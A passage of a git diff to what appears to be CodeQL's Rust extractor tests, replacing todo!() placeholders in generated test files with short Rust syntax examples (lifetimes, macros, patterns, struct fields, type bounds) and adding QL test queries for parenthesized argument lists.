a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs index 700261e2af5..e6a4ea563a1 100644 --- a/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs +++ b/rust/ql/test/extractor-tests/generated/Lifetime/gen_lifetime.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime() -> () { - // A Lifetime. For example: - todo!() + // A lifetime annotation. + // + // For example: + fn foo<'a>(x: &'a str) {} + // ^^ ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs index cb03015cad0..4d006d2d5b4 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeArg/gen_lifetime_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_arg() -> () { - // A LifetimeArg. For example: - todo!() + // A lifetime argument in a generic argument list. + // + // For example: + Foo<'a> + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs index 7b55f134665..6687cd996a5 100644 --- a/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs +++ b/rust/ql/test/extractor-tests/generated/LifetimeParam/gen_lifetime_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_lifetime_param() -> () { - // A LifetimeParam. For example: - todo!() + // A lifetime parameter in a generic parameter list. + // + // For example: + fn foo<'a>(x: &'a str) {} + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs index 33b3ec16124..0de0a929a99 100644 --- a/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs +++ b/rust/ql/test/extractor-tests/generated/MacroCall/gen_macro_call.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_macro_call() -> () { - // A MacroCall. For example: - todo!() + // A macro invocation. + // + // For example: + println!("Hello, world!"); + //^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs index 7fdd2aea756..90bd5da21ee 100644 --- a/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs +++ b/rust/ql/test/extractor-tests/generated/MacroDef/gen_macro_def.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_macro_def() -> () { - // A MacroDef. For example: - todo!() + // A macro definition using the `macro_rules!` or similar syntax. + // + // For example: + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs index 245187b1853..effe3640216 100644 --- a/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroExpr/gen_macro_expr.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_macro_expr() -> () { - // A MacroExpr. For example: - todo!() + // A macro expression, representing the invocation of a macro that produces an expression. + // + // For example: + let y = vec![1, 2, 3]; } diff --git a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs index bfd718fe928..a4940aae3e2 100644 --- a/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs +++ b/rust/ql/test/extractor-tests/generated/MacroPat/gen_macro_pat.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_macro_pat() -> () { - // A MacroPat. For example: - todo!() + // A macro pattern, representing the invocation of a macro that produces a pattern. + // + // For example: + match x { + my_macro!() => "matched", + _ => "not matched", + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs index 19c15ac5f78..062496ce3f2 100644 --- a/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs +++ b/rust/ql/test/extractor-tests/generated/MacroRules/gen_macro_rules.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_macro_rules() -> () { - // A MacroRules. For example: - todo!() + // A macro definition using the `macro_rules!` syntax. + macro_rules! my_macro { + () => { + println!("This is a macro!"); + }; + } } diff --git a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs index 60b382ca878..d81bbcb0cd3 100644 --- a/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/MacroTypeRepr/gen_macro_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_macro_type_repr() -> () { - // A MacroTypeRepr. For example: - todo!() + // A type produced by a macro. + // + // For example: + type T = macro_type!(); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs index b2192f929e2..e41c67da528 100644 --- a/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs +++ b/rust/ql/test/extractor-tests/generated/MatchArmList/gen_match_arm_list.rs @@ -1,6 +1,13 @@ // generated by codegen, do not edit fn test_match_arm_list() -> () { - // A MatchArmList. For example: - todo!() + // A list of arms in a match expression. + // + // For example: + match x { + 1 => "one", + 2 => "two", + _ => "other", + } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs index 9e45b8c3564..64d9a1c7cf3 100644 --- a/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs +++ b/rust/ql/test/extractor-tests/generated/MatchGuard/gen_match_guard.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_match_guard() -> () { - // A MatchGuard. For example: - todo!() + // A guard condition in a match arm. + // + // For example: + match x { + y if y > 0 => "positive", + // ^^^^^^^ + _ => "non-positive", + } } diff --git a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs index 204fb3bd7de..2698243d57a 100644 --- a/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs +++ b/rust/ql/test/extractor-tests/generated/Meta/gen_meta.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_meta() -> () { - // A Meta. For example: - todo!() + // A meta item in an attribute. + // + // For example: + #[cfg(feature = "foo")] + // ^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs index 6b09a11fc12..78c86e40b3b 100644 --- a/rust/ql/test/extractor-tests/generated/Name/gen_name.rs +++ b/rust/ql/test/extractor-tests/generated/Name/gen_name.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name() -> () { - // A Name. For example: - todo!() + // An identifier name. + // + // For example: + let foo = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs index fe161cef749..62790540dc9 100644 --- a/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs +++ b/rust/ql/test/extractor-tests/generated/NameRef/gen_name_ref.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_name_ref() -> () { - // A NameRef. For example: - todo!() + // A reference to a name. + // + // For example: + foo(); + //^^^ } diff --git a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs index 203a3b749dc..4171a820d77 100644 --- a/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/NeverTypeRepr/gen_never_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_never_type_repr() -> () { - // A NeverTypeRepr. For example: - todo!() + // The never type `!`. + // + // For example: + fn foo() -> ! { panic!() } + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs index 7f25b68c774..b6b34bb6703 100644 --- a/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs +++ b/rust/ql/test/extractor-tests/generated/ParamList/gen_param_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_param_list() -> () { - // A ParamList. For example: - todo!() + // A list of parameters in a function, method, or closure declaration. + // + // For example: + fn foo(x: i32, y: i32) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs index 954e1878ee3..ba9f71314bb 100644 --- a/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenExpr/gen_paren_expr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_expr() -> () { - // A ParenExpr. For example: - todo!() + // A parenthesized expression. + // + // For example: + (x + y) + //^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs index 9c24db9dce7..33785db95d3 100644 --- a/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs +++ b/rust/ql/test/extractor-tests/generated/ParenPat/gen_paren_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_pat() -> () { - // A ParenPat. For example: - todo!() + // A parenthesized pattern. + // + // For example: + let (x) = 1; + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs index 9e2577009da..e69dadf6ca7 100644 --- a/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/ParenTypeRepr/gen_paren_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_paren_type_repr() -> () { - // A ParenTypeRepr. For example: - todo!() + // A parenthesized type. + // + // For example: + let x: (i32); + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql new file mode 100644 index 00000000000..73080b26f2d --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql @@ -0,0 +1,10 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int getNumberOfTypeArgs +where + toBeTested(x) and + not x.isUnknown() and + getNumberOfTypeArgs = x.getNumberOfTypeArgs() +select x, "getNumberOfTypeArgs:", getNumberOfTypeArgs diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql new file mode 100644 index 00000000000..04247f8ff64 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql @@ -0,0 +1,7 @@ +// generated by codegen, do not edit +import codeql.rust.elements +import TestUtils + +from ParenthesizedArgList x, int index +where toBeTested(x) and not x.isUnknown() +select x, index, x.getTypeArg(index) diff --git a/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs new file mode 100644 index 00000000000..9af64f99191 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs @@ -0,0 +1,14 @@ +// generated by codegen, do not edit + +fn test_parenthesized_arg_list() -> () { + // A parenthesized argument list as used in function traits. + // + // For example: + fn call_with_42(f: F) -> i32 + where + F: Fn(i32, String) -> i32, + // ^^^^^^^^^^^ + { + f(42, "Don't panic".to_string()) + } +} diff --git a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs index a3dc7ccb6e4..71b863832b4 100644 --- a/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/Path/gen_path_type_repr.rs @@ -1,7 +1,7 @@ // generated by codegen, do not edit fn test_path_type_repr() -> () { - // A type referring to a path. For example: - type X = std::collections::HashMap; - type Y = X::Item; + // A path referring to a type. For example: + let x: (i32); + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs index a071dfa0bbf..cb3d15f6e55 100644 --- a/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/PtrTypeRepr/gen_ptr_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ptr_type_repr() -> () { - // A PtrTypeRepr. For example: - todo!() + // A pointer type. + // + // For example: + let p: *const i32; + let q: *mut i32; + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs index 083e0817fbf..c8997352aaf 100644 --- a/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RefTypeRepr/gen_ref_type_repr.rs @@ -1,6 +1,10 @@ // generated by codegen, do not edit fn test_ref_type_repr() -> () { - // A RefTypeRepr. For example: - todo!() + // A reference type. + // + // For example: + let r: &i32; + let m: &mut i32; + // ^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs index 8d8ca68ce35..0edc248ec6f 100644 --- a/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs +++ b/rust/ql/test/extractor-tests/generated/Rename/gen_rename.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rename() -> () { - // A Rename. For example: - todo!() + // A rename in a use declaration. + // + // For example: + use foo as bar; + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs index 0f7b95b93f2..5010471ca45 100644 --- a/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs +++ b/rust/ql/test/extractor-tests/generated/RestPat/gen_rest_pat.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_rest_pat() -> () { - // A RestPat. For example: - todo!() + // A rest pattern (`..`) in a tuple, slice, or struct pattern. + // + // For example: + let (a, .., z) = (1, 2, 3); + // ^^ } diff --git a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs index 4c3b8a6aaf0..a3294ce8545 100644 --- a/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/RetTypeRepr/gen_ret_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_ret_type_repr() -> () { - // A RetTypeRepr. For example: - todo!() + // A return type in a function signature. + // + // For example: + fn foo() -> i32 {} + // ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs index 31601c86b33..eb09efc78f8 100644 --- a/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs +++ b/rust/ql/test/extractor-tests/generated/ReturnTypeSyntax/gen_return_type_syntax.rs @@ -1,6 +1,19 @@ // generated by codegen, do not edit fn test_return_type_syntax() -> () { - // A ReturnTypeSyntax. For example: - todo!() + // A return type notation `(..)` to reference or bound the type returned by a trait method + // + // For example: + struct ReverseWidgets> { + factory: F, + } + + impl Factory for ReverseWidgets + where + F: Factory, + { + fn widgets(&self) -> impl Iterator { + self.factory.widgets().rev() + } + } } diff --git a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs index 657b98a3efd..39e72c8527e 100644 --- a/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/SliceTypeRepr/gen_slice_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_slice_type_repr() -> () { - // A SliceTypeRepr. For example: - todo!() + // A slice type. + // + // For example: + let s: &[i32]; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs index 5d8e1d2caf4..ba9ab156a34 100644 --- a/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs +++ b/rust/ql/test/extractor-tests/generated/SourceFile/gen_source_file.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_source_file() -> () { - // A SourceFile. For example: - todo!() + // A source file. + // + // For example: + // main.rs + fn main() {} } diff --git a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs index cd0e40d3f6c..b045dfadcf7 100644 --- a/rust/ql/test/extractor-tests/generated/Static/gen_static.rs +++ b/rust/ql/test/extractor-tests/generated/Static/gen_static.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_static() -> () { - // A Static. For example: - todo!() + // A static item declaration. + // + // For example: + static X: i32 = 42; } diff --git a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs index cea5eceb1cd..8cc83732b62 100644 --- a/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs +++ b/rust/ql/test/extractor-tests/generated/StmtList/gen_stmt_list.rs @@ -1,6 +1,12 @@ // generated by codegen, do not edit fn test_stmt_list() -> () { - // A StmtList. For example: - todo!() + // A list of statements in a block. + // + // For example: + { + let x = 1; + let y = 2; + } + // ^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs index f5b42b79190..4314b4a4759 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs +++ b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs @@ -2,5 +2,8 @@ fn test_struct() -> () { // A Struct. For example: - todo!() + struct Point { + x: i32, + y: i32, + } } diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs index 01557f966aa..12871cfdd2c 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_expr_field_list() -> () { - // A StructExprFieldList. For example: - todo!() + // A list of fields in a struct expression. + // + // For example: + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs index 562b5adc772..6d9e99334a5 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs +++ b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field() -> () { - // A StructField. For example: - todo!() + // A field in a struct declaration. + // + // For example: + struct S { x: i32 } + // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs index bdec77ecaae..4e3967bfae3 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field_list() -> () { - // A field list of a struct expression. For example: - todo!() + // A list of fields in a struct declaration. + // + // For example: + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs index a424ca84d64..1543bab7133 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_pat_field_list() -> () { - // A StructPatFieldList. For example: - todo!() + // A list of fields in a struct pattern. + // + // For example: + let Foo { a, b } = foo; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs index 7781391e232..1c553ba41f1 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs +++ b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_token_tree() -> () { - // A TokenTree. For example: - todo!() + // A token tree in a macro definition or invocation. + // + // For example: + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs index 708e0d99e58..6fa75a8a08d 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_trait_alias() -> () { - // A TraitAlias. For example: - todo!() + // A trait alias. + // + // For example: + trait Foo = Bar + Baz; } diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs index 083dffd3c35..6444f38b7d7 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs +++ b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_try_expr() -> () { - // A TryExpr. For example: - todo!() + // A try expression using the `?` operator. + // + // For example: + let x = foo()?; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs index 245862c35d7..96fe3582e40 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs +++ b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field() -> () { - // A TupleField. For example: - todo!() + // A field in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^ ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs index 5f6858c12ab..26f955c4add 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field_list() -> () { - // A TupleFieldList. For example: - todo!() + // A list of fields in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs index 69dbf686aff..72418bebd40 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_type_repr() -> () { - // A TupleTypeRepr. For example: - todo!() + // A tuple type. + // + // For example: + let t: (i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs index f429e9d2187..0e51807e06c 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_arg() -> () { - // A TypeArg. For example: - todo!() + // A type argument in a generic argument list. + // + // For example: + Foo:: + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs index a5ee2af2236..9e182cbeefc 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound() -> () { - // A TypeBound. For example: - todo!() + // A type bound in a trait or generic parameter. + // + // For example: + fn foo(t: T) {} + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs index aa2c2992225..8ecff33eb70 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound_list() -> () { - // A TypeBoundList. For example: - todo!() + // A list of type bounds. + // + // For example: + fn foo(t: T) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs index 6d5dbf5dd39..3028b3c8136 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs +++ b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_param() -> () { - // A TypeParam. For example: - todo!() + // A type parameter in a generic parameter list. + // + // For example: + fn foo(t: T) {} + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs index ef74acf7f60..5b148d975e5 100644 --- a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs +++ b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_union() -> () { - // A Union. For example: - todo!() + // A union declaration. + // + // For example: + union U { f1: u32, f2: f32 } } diff --git a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs index c61de79f9ff..193d9a1c655 100644 --- a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs +++ b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs @@ -1,6 +1,6 @@ // generated by codegen, do not edit fn test_use() -> () { - // A Use. For example: - todo!() + // A `use` statement. For example: + use std::collections::HashMap; } diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql 